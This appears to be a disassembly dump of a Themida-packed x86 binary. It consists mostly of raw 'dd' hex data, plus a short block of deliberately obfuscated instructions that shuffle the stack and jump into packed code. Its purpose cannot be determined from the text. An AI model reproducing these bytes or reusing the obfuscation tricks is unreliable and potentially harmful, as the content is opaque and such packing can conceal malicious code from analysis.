		dd 21858B07h, 8B07A830h, 0A834B595h, 0A36407h, 0F000000h
		dd 74BED3B7h, 833EECDBh, 0A807CDBDh, 840F0007h,	46h, 8BF38B66h
		dd 0A80C6985h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0A8DBAA92h, 7AA0BA16h
		dd 5840FB3h, 0BA000000h, 586F673Fh, 0F681E08Bh,	256EEE5Ah
		dd 810Fh, 0BD830000h, 7A8358Dh,	50850F00h, 29000004h, 0A810918Dh
		dd 0D9958B07h, 0C607A825h, 0A8061985h, 9D315607h, 7A80791h
		dd 4E8h, 0C530DF00h, 968CBAA9h,	505075FAh, 5810F52h, 0BE000000h
		dd 4660413Ch, 0F28B310Fh, 448B585Ah, 0F18B0424h, 4489008Bh
		dd 3580424h, 0A834C595h, 0E1B5FF07h, 0B07A80Ch,	0A8306195h
		dd 1A858D07h, 6A07AB78h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 38F4C355h, 6880FDDh
		dd 89000000h, 0A82C7185h, 89D0FF07h, 0A81CD18Dh, 0D18B9007h
		dd 0F525050h, 5840F31h,	0BA000000h, 6003F30Bh, 0E990585Ah
		dd 9, 7C867Eh, 15AC5FAEh, 318D8DCEh, 0E907A82Ch, 0Dh, 720825E8h
		dd 874610EEh, 0BC40A204h, 0E8F0F82h, 60000000h,	2C2D8529h
		dd 858B07A8h, 7A81711h,	60609161h, 0F456BB66h, 0B1615B51h
		dd 575061BEh, 915A84B6h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 63C35242h, 876CA238h,	6E9h, 0BCA85100h
		dd 6ACE45AAh, 0C0CE8004h, 31DCB968h, 0F28B668Eh, 47240481h
		dd 0F571CE33h, 2681B5FFh, 958B07A8h, 7A8251Dh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 5EB253C3h, 0BA6695D8h, 0BE66BB1Bh, 0BD8BC1C8h, 7A82681h
		dd 0D6B70F50h, 3C7F035Ah, 17559D89h, 0C78107A8h, 0F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 11C35747h
		dd 4781D567h, 0BEBBE7B0h, 15B2F0E5h, 0C1950BF5h, 0C707A806h
		dd 202447h, 6A6000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 858952C3h, 7A80571h, 8B11BD83h
		dd 0F0007B0h, 16B84h, 10E900h, 58890000h, 542A8AA7h, 727E2C4h
		dd 5DC38C61h, 0C7832B77h, 21953128h, 0C707A831h, 696A2E07h
		dd 53006A64h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0E250994Dh, 7DBACF7Bh, 35A6121h,	0A829E995h
		dd 447C707h, 617461h, 66D0B70Fh, 858BD68Bh, 7B08B19h, 12E9h
		dd 5E76FB00h, 93942EF4h, 9A002837h, 93BBCA7h, 89FE06AEh
		dd 6A0C47h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A04C69C3h, 30C3F1DCh, 858BD291h,	7B08B1Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 42C35141h
		dd 8DA412ABh, 9D89BE14h, 7A817D1h, 68B0Fh, 0B58B0000h
		dd 7A82275h, 0F084789h,	0C783D3B7h, 0E2816628h,	8B6622C7h
		dd 2E07C7F3h, 0C76E6F63h, 69660447h, 9E90067h, 8A000000h
		dd 3CAF2519h, 0CC67C2B0h, 8B15858Bh, 5E907B0h, 0A8000000h
		dd 89C62D85h, 6A0C4789h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 6CB2C355h, 0E04DC077h
		dd 858B08BFh, 7B08B11h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 8FC35141h, 89D3BD58h,	958B0847h, 7A809EDh
		dd 0FE958h, 7B330000h, 3CD4881Eh, 7DDD9667h, 2A62AE2Dh
		dd 158D8DFCh, 6A07A827h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 78F6C357h, 0A8E040D6h
		dd 0BA66D165h, 505000F8h, 50525052h, 5A310F52h,	0BE310F58h
		dd 52BAE039h, 310F585Ah, 5AD38B66h, 240C8958h, 2C31B5FFh
		dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 382C5C3h,	26BB6660h, 0E951BF32h, 0E861109Fh
		dd 4, 1000h, 15E0BE66h,	52505350h, 310FD78Bh, 5AF78B66h
		dd 448B5A58h, 8B0424h, 49F152BEh, 2444894Bh, 6A5804h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 4F137AC3h, 58A34511h, 0F7BAB571h, 0FF7C31C9h, 0A82681B5h
		dd 98D8907h, 8B07A831h,	50D0FFF0h, 505B589h, 0B85A07A8h
		dd 0
		dd 6880Fh, 66600000h, 61EDFFBFh, 840FC00Bh, 51h, 10EF8160h
		dd 0F71E68Dh, 388h, 0D1BF0F00h,	0F5B5FF61h, 6A07A810h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 8D0CC352h, 78CC2F8Ch, 89F3BF0Fh, 0A833ED95h
		dd 9995FF07h, 8907A81Ah, 0A8266585h, 5ABA6607h,	89C08BE4h
		dd 0A814FDB5h, 0F9BD8307h, 7A827h, 0BD830975h, 7A80605h
		dd 50197400h, 0B8C08B53h, 42Dh,	0ECD8589h, 9D8D07A8h, 7AAB08Ah
		dd 585BD3FFh, 605BD83h,	740007A8h, 0B8535017h, 42Dh, 0ECD8589h
		dd 9D8D07A8h, 7AAAD2Bh,	585BD3FFh, 4D5B58Bh, 525307A8h
		dd 5AD38B66h, 66C08B5Eh, 8BA4D6BAh, 13E9C0h, 753C0000h
		dd 2189h, 3 dup(0)
		dd 5B6E900h, 7D1E0000h,	0B85C455Ah, 0F7A18A9Fh,	34E2CBE0h
		dd 76250E23h, 8B3E4C61h, 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh
		dd 4193EE0h, 93F8524h, 0FCBA8DDh, 89ABC775h, 0DAF38E2Bh
		dd 454BA25Bh, 0AF60F2ACh, 2B2CF0C1h, 987B9360h,	647321C6h
		dd 0E0ABCC99h, 92A7B063h, 0DC22E9A9h, 0D3593EA6h, 0B984A5ACh
		dd 0CFE0FE20h, 0DBAF7AA8h, 193EE0C3h, 1403D14Eh, 8FFAF549h
		dd 0CC895E00h, 0AC95AACBh, 776038EFh, 10F946ACh, 953334C1h
		dd 553E5374h, 4FCC9780h, 6D3ADF88h, 11DEA9AEh, 375825F0h
		dd 2E29EF6Ch, 5B30E663h, 58C2DF15h, 0BDDEE5D3h,	7BE65BF2h
		dd 0B520CD9Ch, 51667126h, 8FD5B668h, 0D358C259h, 6C37585Fh
		dd 58C2A9E2h, 0CFC88CD3h, 0C4D38704h, 0B01B34F9h, 277CF7D1h
		dd 58C2ABE1h, 5BFAB1D3h, 83A4713Ch, 39E5506Bh, 1BA8AF71h
		dd 62C8h, 0A174AD00h, 0ABB89EB6h, 9DB5A272h, 12FF18BAh
		dd 13B34BF0h, 8FA72446h, 0B2F028B2h, 33CAD358h,	0BC561CC8h
		dd 1AB1BA8h, 0A9000000h, 370215C7h, 10FD1ABAh, 25B35DEEh
		dd 2AAE64E6h, 9798F257h, 0E3C0D8F9h, 0DCA7B066h, 93228D88h
		dd 0BCC1D6C1h, 0FCC7D083h, 0C6FC422Fh, 0CCD35926h, 8CAADC5h
		dd 0C70EFA0Fh, 9CE23714h, 0D3597066h, 5187656Ch, 57D35970h
		dd 0E7642F50h, 0B3A47235h, 2FFA1BE8h, 57E6516Ah, 957E9384h
		dd 8A07D2C5h, 5D7A19CEh, 0D9A4C592h, 64107B94h,	1BA7FF5Eh
		dd 2F65AB00h, 35D35966h, 8FFA162Eh, 0F8000000h,	380314C7h
		dd 2FFA1DBBh, 15C3FCDBh, 515D4802h, 27E4C625h, 0FA89F40Fh
		dd 22273C5Bh, 894FC100h, 3E56ABF5h, 0D49FB85Bh,	3231193Bh
		dd 0BDCC5CF9h, 314C2A5h, 0BDF6F338h, 6633FE19h,	1DC8334Eh
		dd 0A2235E4h, 0A7EA300Ah, 71891Bh, 0C7870000h, 0BB380314h
		dd 8D8A491Eh, 0E7D4F5C2h, 70164C92h, 0E410D359h, 69E8AC67h
		dd 0C3949B49h, 12EF0710h, 0BE4DB8C9h, 6A5D5F1Fh, 0F976ACF2h
		dd 757CD358h, 0BDDF5CBBh, 0A776AF9Ch, 18E5B0h, 15C7EDD9h
		dd 4FF31502h, 477E17C0h, 60EAC7DFh, 0D358D627h,	53FF6A01h
		dd 1BA89B1Fh, 0EECADDFFh, 0AF021A92h, 58913369h, 113239D3h
		dd 1DDF9h, 0C7DB0000h, 0E0190611h, 25021A3Dh, 16E1F6A8h
		dd 11DCFB99h, 0AD5C294h, 9877E28Fh, 22B11CC9h, 0A24C6176h
		dd 2E7461B5h, 0DB01844Dh, 4814C53h, 47304552h, 2BB58097h
		dd 0DB0183F3h, 481304D6h, 440F08CBh, 0EECD38ADh, 46D54051h
		dd 856E8394h, 7AF7C2D5h, 4B4C0FD8h, 71831A80h, 0A7FA464Bh
		dd 0D59A6586h, 8FAB6D8h, 0C8E067C2h, 0B444EC0Eh, 0F8108BAFh
		dd 33E372DDh, 41090F24h, 98E3FF57h, 155h, 0C5110696h, 9D9D92D8h
		dd 9CA3DB01h, 958254D1h, 0D0C79780h, 0C1D68805h, 0DFF89BD4h
		dd 522F4714h, 5E09748Dh, 9D8DC309h, 0DC93DB01h,	0E2FA1B3Ch
		dd 23385FFFh, 2136E51Eh, 0D2410909h, 93B5E3FFh,	0CC96CFCEh
		dd 0F9152D69h, 6Bh, 281506F7h, 1D89327h, 0C47E4B16h, 67E81120h
		dd 17C42FAFh, 0D1170425h, 0D358A69Bh, 8C799AA1h, 0A6BBF137h
		dd 0BAC1D358h, 75DA3A2h, 0D5358A6h, 7BB13B06h, 5E5358A6h
		dd 51CE99BEh, 2730E582h, 0A36E8F5Ch, 7B5AC5DEh,	60B01B90h
		dd 0C2E1BF3h, 6D8264BAh, 0B7B6CE2Ah, 6E692962h,	0B9106656h
		dd 0F16D358h, 9FB6FAh, 6F80000h, 92D8C511h, 0DB018C3Dh
		dd 0FA4F3C43h, 18C7EB4h, 657D84DBh, 0E4B6EF88h,	26F8DBF3h
		dd 63331C31h, 0E20314C4h, 8D528D17h, 7469DB01h,	14C89F3Bh
		dd 4A6B3803h, 7F9AB27Fh, 0C2D58514h, 291203ADh,	6214F84Ch
		dd 0B5A2C3E3h, 0B205C66Fh, 0FAC5CCE2h, 0EFBADD7Dh, 0E8B3A472h
		dd 0E1ACAB6Bh, 66779E7Bh, 1F3874D7h, 0EDBC9B06h, 0D52AD540h
		dd 0B203598Fh, 0F3A85FE2h, 7ABC3E4h, 93D9C60Eh,	0EA6296EAh
		dd 36E41DF0h, 0AB895621h, 0EA629775h, 0C8938458h, 8C464DFBh
		dd 26FADA7h, 2D4263D8h,	0C5110641h, 0E16183D8h,	4B52A9B0h
		dd 2AB9BB3h, 0C9DB096Eh, 0FEC9CE90h, 6DE91F65h,	0E8EFDB09h
		dd 0E8EFAFC7h, 29FEA01Dh, 23599F6Ch, 29DB096Eh,	0CBE00122h
		dd 0F52B71C6h, 0FBDB096Dh, 59F9DCF4h, 4418513Eh, 480B8853h
		dd 96B7844Fh, 0CF08A17Eh, 0EE83720Ch, 721A64Bh,	364E1BE6h
		dd 429CB446h, 0D4C39701h, 0CEC98C09h, 3EA9BA03h, 83D8B75Fh
		dd 429C073Dh, 0F43A0D01h, 1429CBEh, 849CBDC4h, 0AF6FFE69h
		dd 0E8AA93A8h, 368B24EFh, 429CBAF0h, 0D8FF9D01h, 280B232Ah
		dd 2BE0B572h, 429CAFE5h, 8DAEB501h, 9C245AA0h, 232A0142h
		dd 0FBC3702h, 0A24515A4h, 0ACC1E2F5h, 390413C3h, 361h
		dd 3EDCA300h, 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh
		dd 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch
		dd 0E289523Ch, 4BD55h, 0EA010000h, 4EA835Dh, 5C241487h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	ebx
		mov	ebx, 7C80336Eh
		mov	esi, 7B30A0C7h
		xor	esi, ebx
		pop	ebx
		mov	edi, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		sub	edx, 735270ECh
		add	edx, ebp
		add	edx, 735270ECh
		mov	[edx], edi
		pop	edx
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dw 6Eh
		dd 0B098C0B8h, 0FFC50307h, 0A21530E0h, 4301C855h, 24D04113h
		dd 0F687DB06h, 1D73992Ah, 0F282E669h, 8EE3C860h, 5936A705h
		dd 5134FA24h, 0E7D83F69h, 4602946Bh, 3F8D8D1Eh,	6A07B09Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9B1CC356h, 0D9D8B82h, 8907A82Dh, 0A817318Dh
		dd 89850B07h, 0C707A81Bh, 0A80A5985h, 5C9807h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 21B27C78h, 0D9ED04E8h, 0C1B70F89h, 93985C7h,	7A8h, 0FFFC0000h
		dd 0A805DDB5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 5BEF0B0Fh, 9995FFFCh
		dd 8907A81Ah, 0A80DD98Dh, 0FF006A07h, 0A80D2195h, 0EBC08B07h
		dd 0C52D0A69h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h
		dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh
		dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h,	0ADD80670h
		dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h
		dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 0AB4B84D4h, 799797C5h
		dd 0C0E7AF96h, 0BE8A65Dh, 0CF000000h, 68964828h, 67495B50h
		dd 8A0F1A1Dh, 6, 1D05858Bh, 665F07A8h, 81F9B0B8h, 65DCC7h
		dd 9E900h, 0FCF50000h, 6DF6DA48h, 0BE73E612h, 1941h, 1451958Bh
		dd 37FF07A8h, 59D3B70Fh, 0F181F58Ah, 684FE134h,	10E8h
		dd 0C8D35F00h, 0CF1CD0EAh, 1397E1DEh, 46CF91Ah,	85895071h
		dd 7A80C5Dh, 0F1815A58h, 0FBA1F4Ah, 2F359D8Bh, 0E98107A8h
		dd 47BED502h, 11E8h, 0B1F03000h, 0C524DB26h, 26EC294Ah
		dd 430B93E8h, 2953EF9Dh, 0A814B595h, 895B5B07h,	0BEF810Fh
		dd 89669147h, 0A81D798Dh, 7C78107h, 8B669147h, 0A80A159Dh
		dd 1EE8307h, 0E850Fh, 0DC800000h, 19E950h, 0D85B0000h
		dd 4AC2E5E8h, 66D958Bh,	67E907A8h, 0E8FFFFFFh, 2D4B3686h
		dd 8D54117Ch, 0B09C638Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 87C0711Dh
		dd 85D381AEh, 893B4FE8h, 0A817318Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 60608183h
		dd 860Fh, 0EE800000h, 61F961F5h, 0FE8h,	0F5C94600h, 0EE16B46Fh
		dd 52D6FAACh, 9EB0C849h, 15B58956h, 5807A811h, 0C08BB58h
		dd 85C76A37h, 7A80A59h,	5B24h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 90C35646h, 85C712A5h, 7A80939h
		dd 0
		dd 0FFF7BF0Fh, 0A82641B5h, 0FFF38B07h, 0A81A9995h, 66606007h
		dd 0F921B4B9h, 0D2BF0F61h, 0FF006A61h, 0A80D2195h, 0EBC08B07h
		dd 0CA980519h, 9E2703DCh, 0B03D4152h, 0C5BD027Dh, 932F3949h
		dd 27D585E0h, 0EB07B0h,	37CE9h,	799E3F00h, 0BED97B64h
		dd 0FF18C0A9h, 425501EAh, 8691442Dh, 3F666371h,	7D667B9Ch
		dd 0BFA8BDDAh, 0FFE8FD1Ah, 4323385Fh, 0D4285EA4h, 942ECBA8h
		dd 215C7E6h, 435404EDh,	8691452Eh, 0C2D58871h, 611C4ADh
		dd 965108F1h, 3C09D4C3h, 0DFAAAD6Bh, 0AF04F112h, 59703369h
		dd 1A3239D3h, 4A4D0AF3h, 0DD8A4C35h, 0E6FB1C3Bh, 935B6F0h
		dd 0E278D8DBh, 183A2730h, 0CF4F3C87h, 3B183008h, 884F18BEh
		dd 0F91EBE8Fh, 0E6C90DD8h, 68122730h, 0F43A27EFh, 0E2B097F7h
		dd 0D009F6FDh, 713E090Eh, 0C1E37C59h, 4434D7Bh,	5D4D65D4h
		dd 0E2B16223h, 0EBA253Eh, 0EB000F44h, 9F9Dh, 14C79B00h
		dd 25C43803h, 5970B5DFh, 0E9B4BBD3h, 98ADAA6Ch,	1DE8EFAFh
		dd 0B19E76DFh, 196B26Bh, 0E6B1B8DBh, 0A853BE6Bh, 5EC19686h
		dd 98B0E74Fh, 0DDF2E5B5h, 5F22233h, 0A98F3ABFh,	6E3940E2h
		dd 203522F1h, 11C36437h, 4D6E3B06h, 66712760h, 0D9B6CE9Bh
		dd 6956BE9Bh, 0A98F1D23h, 71C23E2h, 2F1CF85Dh, 51B110E9h
		dd 0F99ED7EAh, 2E4613DEh, 1F9C676Eh, 5D465B7Ch,	90CE99BEh
		dd 185E4B83h, 0EA51B216h, 0E6F1A4DDh, 87524515h, 0DBE2A2BAh
		dd 0D588C1C6h, 3522F1C2h, 0A2859D6Ah, 0E3CFE4F3h, 0D8C51106h
		dd 7005A8B6h, 0BCD49273h, 4ABE77BDh, 0BDC4DB01h, 0B2A575F2h
		dd 0AB76989Dh, 15E87302h, 5F4A3149h, 0B2DB3320h, 0A4AAE4h
		dd 603871DBh, 692FAC77h, 0B5D6A36Eh, 0A44C82C8h, 4B52DB00h
		dd 898E5033h, 0B3567A9Ch, 9C7A81Eh, 0AC776038h,	9BA0C7DFh
		dd 88A0B762h, 0B349F5A5h, 6FE67B00h, 0DE5B2647h, 8B501B3Ch
		dd 0A6780772h, 4CA2C4B1h, 0C4A11414h, 959A3469h, 0BC3E5BDBh
		dd 33777DA4h, 23E3F0A2h, 132B2CEAh, 2DF7h, 1106F500h, 0D992D8C5h
		dd 0DFDB0196h, 0CE900DD8h, 935E7919h, 8B90A5C6h, 0A45CDC69h
		dd 599FC50Ah, 0DB025323h, 0E9012229h, 1CABh, 13C7ED00h
		dd 1ABC3904h, 75BB10FDh, 0D359703Fh, 0F62C7245h, 0FCD3596Fh
		dd 95BCD4F5h, 413C7A9h,	435406EFh, 4187DC7Bh, 0D359700Bh
		dd 0C2F83E11h, 0C8D35970h, 8988A0C1h, 0D1B1234h, 0B82357E3h
		dd 0B27EB0A0h, 7D84D358h, 726535B2h, 799B2CA7h,	0F81D3555h
		dd 266C59FFh, 0D3588DF0h, 0BCD7EFF6h, 0E62CCB51h, 0D3588EB4h
		dd 8394427Bh, 0B7A4AB6Bh, 8EE61C62h, 0CC9D358h,	3E565D0Bh
		dd 8FC3F93Fh, 518AD358h, 0B8789087h, 0E3B39CB1h, 85DADFF4h
		dd 588F093Fh, 548AD0D3h, 5AD3588Fh, 869EA553h, 2016006Bh
		dd 58000000h, 350017C7h, 0A3B4639Ch, 10F30BD8h,	235C494Eh
		dd 60F2C975h, 2EABCDBAh, 5D75420Dh, 0C7C46236h,	0B9360116h
		dd 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh
		dd 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 56E08950h, 4BEh, 5EF00100h
		dd 8704E883h, 685C2404h, 529Dh,	83243C89h, 348904ECh, 72BB5324h
		dd 8105B749h, 4D54BC3h,	0FC38150h, 8118C57Bh, 2F02BCC3h
		dd 5BDF8999h, 24348B54h, 4C481h, 0EC830000h, 243C8904h
		dd 72243481h, 8F3D2669h, 76810846h, 26697208h, 2434FF3Dh
		dd 4C4835Eh, 5F2434FFh,	4C481h,	0BCE90000h, 0A1FFF7DFh
		dd 26A9252Bh, 0D40C8E43h, 0DE54D4A0h, 9F83B898h, 0C50307B0h
		dd 0E75AE0FFh, 14131E7Eh, 0BD2F3F2Dh, 0ABCD043Eh, 16960341h
		dd 0A09B324Ch, 86AC3052h, 0AC116FC5h, 0E8243D73h, 0EECB684Eh
		dd 62D81116h, 0D18B54A2h, 66D6BF0Fh, 81BB18B8h,	0C9F068E2h
		dd 860F64h, 66000000h, 60BBEF81h, 12E9h, 5CB3DF00h, 82D179E8h
		dd 4937BA97h, 0D6A9F5BBh, 0E91F7DC7h, 0Dh, 7D7EBD85h, 0A67EC4F0h
		dd 0CAB14C88h, 0B70FF82Bh, 0F08B66D2h, 0DE8h, 46A0D600h
		dd 0DF30D117h, 17F5E18Ch, 505B79B6h, 12E8h, 0DEC2F100h
		dd 0C71EA03Eh, 69D01DF5h, 54E9D842h, 8ADE525Dh,	605A58D1h
		dd 0A3B86653h, 0E6815F18h, 5E61616Ch, 14E961h, 0F8550000h
		dd 0A8E169E1h, 267497ECh, 670C0F60h, 977E97A6h,	1FBE8B86h
		dd 667CD016h, 8166C28Bh, 8B8088D2h, 81D08BF3h, 5CEC0DDEh
		dd 13E839h, 18670000h, 24D2258Ah, 0D4B3D712h, 2AF1A579h
		dd 0FB232469h, 0A8E6805Ch, 35EE805Bh, 8166C38Bh, 0E9206ECEh
		dd 6, 0EA613DF8h, 8B66EBAFh, 0AE21BED9h, 0F18B627Fh, 1E850Fh
		dd 66600000h, 0E9A50BBAh, 13h, 3E1EF9CCh, 0C6FE86E0h, 0DCD3B304h
		dd 5E258EBAh, 616AB829h, 0C3CB45BFh, 0DE97Dh, 3EC60000h
		dd 0A0A8F5D8h, 93DD0458h, 0E973A8AEh, 9, 6347FA1Fh, 89F8AD45h
		dd 8890F2Fh, 60000000h,	0BB6660B7h, 0B161AF3Bh,	34E68129h
		dd 602E1E9Dh, 8A0Fh, 60610000h,	5F2FD381h, 61F85237h, 8E9FCh
		dd 87E30000h, 48A94F9Bh, 13E95B41h, 5F000000h, 2BAB618Ch
		dd 0A40052D7h, 47D786BBh, 6FD9A36h, 5160D103h, 0F859F98Ah
		dd 0D7BF0F61h, 1B890Fh,	0E9560000h, 14h, 7613135Eh, 0CEDA30A6h
		dd 8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh, 0D2BF0F58h, 51CABF0Fh
		dd 58C3B70Fh, 3DC08060h, 23ABBA66h, 0F5EAB961h,	5E95B5Dh
		dd 7000000h, 0D13A3F20h, 870F6057h, 0
		dd 61F2B70Fh, 9DE68159h, 80405FD3h, 8A0F20C1h, 2, 8B662AB6h
		dd 45B966FEh, 0F98B6644h, 12E960h, 55870000h, 78194710h
		dd 0BB3D3AE3h, 4284AD59h, 946ECCA5h, 61F0B70Fh,	0FC0BF0Fh
		dd 0DF8BD7B7h, 77C88166h, 0FB8B66A9h, 0CE9h, 0FD166500h
		dd 0C863DCAAh, 0ABF85F9Ah, 5FF856B0h, 6840Fh, 0E7810000h
		dd 0A3D9F9Bh, 7E8F560h,	0C9000000h, 0FCD22DD9h,	8B66839Fh
		dd 0B1615AD3h, 0B9E58A71h, 2F4368ABh, 5E9F9h, 0A38E0000h
		dd 0F0583DBh, 381h, 0C7BF0F00h,	5FC28A53h, 0E9FEB70Fh
		dd 0Ah,	9007B027h, 82846DE8h, 0F535A8Ch, 0E959D6B7h, 12h
		dd 68453465h, 0E22F82F9h, 0BCD393F0h, 40CF3EA7h, 0B70FC2E3h
		dd 95C281C1h, 0F098F1Ch, 285h, 0FC61B700h, 0E2C98166h
		dd 0C7B70FBEh
dword_60B768	dd 0C31EA81h, 0E9BE6C69h, 6033FD56h, 66C3BF0Fh,	0B761C18Bh
					; DATA XREF: Themida_:0058CF52o
		dd 0EAEE81F0h, 0E84E1F16h, 0Fh,	6D60143Fh, 0B94136CCh
		dd 391C3A0h, 8BE555CAh,	8B6658C2h, 0F3B70FCEh, 0FF28B66h
		dd 5F50D0BFh, 0C5B192B8h, 0F7BF0F71h, 0FB8B6660h, 61D38B60h
		dd 5890F61h, 0BF000000h, 2BC06347h, 93CE8166h, 0BE931h
		dd 0C1F60000h, 563C150Ah, 0BE70992Dh, 51EB8A11h, 63E28166h
		dd 8B575FBEh, 0E18159DEh, 145F06ABh, 7E9h, 5B895C00h, 0B98F1C90h
		dd 6820F60h, 81000000h,	852EE0h, 0BB61F932h, 39F3C016h
		dd 6653F28Bh, 0B95ED08Bh, 6EB02122h, 0BB6649B7h, 890F3D8Fh
		dd 5, 93E38166h, 58E0F97h, 66000000h, 0E8BFC981h, 8166B8B6h
		dd 0E959FCE8h, 0Ah, 351FF5F9h, 9915E92Bh, 0E86060C8h, 0Dh
		dd 511CF201h, 6361541Dh, 0CC89073Fh, 61F85E92h,	816614B3h
		dd 60D300E7h, 66D0BF0Fh, 661CC081h, 0F78B6661h,	8E960h
		dd 4C950000h, 62E2212Ch, 6661DC16h, 0CA6CDF81h,	5810F56h
		dd 0BA000000h, 6571BBB7h, 9EE2BB5Fh, 5A506B33h,	20C88166h
		dd 0E1BE6698h, 42C4BB92h, 8B6663EAh, 14E9F3h, 4FF90000h
		dd 7CA66A27h, 0C3479A20h, 5B2D98AEh, 0B14B5A74h, 880F048Fh
		dd 3, 0E9DF8B66h, 0Fh, 0E3167360h, 97B14B8h, 3AEC9DEEh
		dd 816CB6C0h, 0A559CC9h, 46BA6655h, 0E9FCFC06h,	5, 0ACD735A3h
		dd 12890FCDh, 0E8000000h, 0Bh, 0A2160054h, 0B7498BAAh
		dd 0FC587F5Fh, 0FEBF0F59h, 68BE6660h, 5E961C3h,	0ED000000h
		dd 255699Dh, 66C0BF0Fh,	66C7A5BAh, 980CD081h, 0DA7BB966h
		dd 60F5C78Bh, 0C88160FCh, 1E04FE3h, 36D88166h, 0F8616170h
		dd 0AE9F9h, 0A6900000h,	69CD28FAh, 6EC261A5h, 0BA4EE381h
		dd 0B8663388h, 81530CBBh, 0A49083E1h, 9E85916h,	0F8000000h
		dd 45C03F46h, 3A92B06Ch, 81F88B60h, 0C0FEE7CFh,	0F5A6149h
		dd 8Eh,	0D7B70F00h, 28B0Fh, 0CE8B0000h,	0DE957h, 416F0000h
		dd 0EBA011B0h, 3B05B1A1h, 5E833C90h, 0EE9h, 0B86A1900h
		dd 26EFA0B5h, 20E74FB9h, 0F91AFCDFh, 8EBE6650h,	0B70F5B75h
		dd 0EB8166C7h, 0F4809C80h, 0CAB96665h, 0BE9ABh,	0DFE60000h
		dd 378D19A2h, 7A2EA2F2h, 661DB631h, 936DC881h, 4860Fh
		dd 0BB660000h, 0FF59957h, 82h, 8E800h, 0D5430000h, 0C54D275h
		dd 14E9DEBAh, 0DA000000h, 0B595A243h, 533B3EFBh, 0EAC41C57h
		dd 86CB5AF4h, 58BC7067h, 5BF6651h, 0B70F5A73h, 8B6656CAh
		dd 0E9605EC1h, 0Dh, 919802A6h, 21EE450Ah, 0CE262ACCh, 0D0816671h
		dd 6661347Eh, 78CFC981h, 5870Fh, 0CFB90000h, 66158D90h
		dd 0E98B24B9h, 0Dh, 0FC9F4F61h,	0C622435Ah, 0CB4C3A30h
		dd 8D0F20h, 80000000h, 800F88D1h, 17h, 0FE852h,	0F2D60000h
		dd 0EA53200Bh, 1BA9B049h, 97030C6Bh, 565B5AB5h,	7E9h, 0C3226E00h
		dd 8A339B9Bh, 0EE95Eh, 28B40000h, 0F435DF7h, 0D5F3FF29h
		dd 72601325h, 57C1B70Fh, 509FB866h, 4840F5Bh, 66000000h
		dd 0F2F0DBAh, 28Ah, 0E8F28B00h,	0Bh, 0AA3454DAh, 0F935E52Dh
		dd 0FAFE915h, 815EF6B7h, 7F8474CEh, 60B6B626h, 9AD1EE81h
		dd 8B667694h, 0EF8161F8h, 2F607041h, 24BF9ABEh,	0F50606Dh
		dd 82h,	0B70F5800h, 0EBF61F9h, 0F0BCA78h, 283h,	0F9D2B000h
		dd 0C801E781h, 0EA80558Ah, 0E1805254h, 830F5F09h, 5, 0EDF68166h
		dd 0D0816606h, 11E98178h, 92000000h, 5F4E4D8Eh,	2BAB618Ch
		dd 0A40052D7h, 47D786BBh, 0EBBAE28Ah, 51203BD1h, 81665AF9h
		dd 600F6BDBh, 860F60h, 0E9000000h, 13h,	86993B2Ch, 0A0603195h
		dd 94803960h, 0FCF90A9Dh, 61E7196Ch, 3850Fh, 0EB800000h
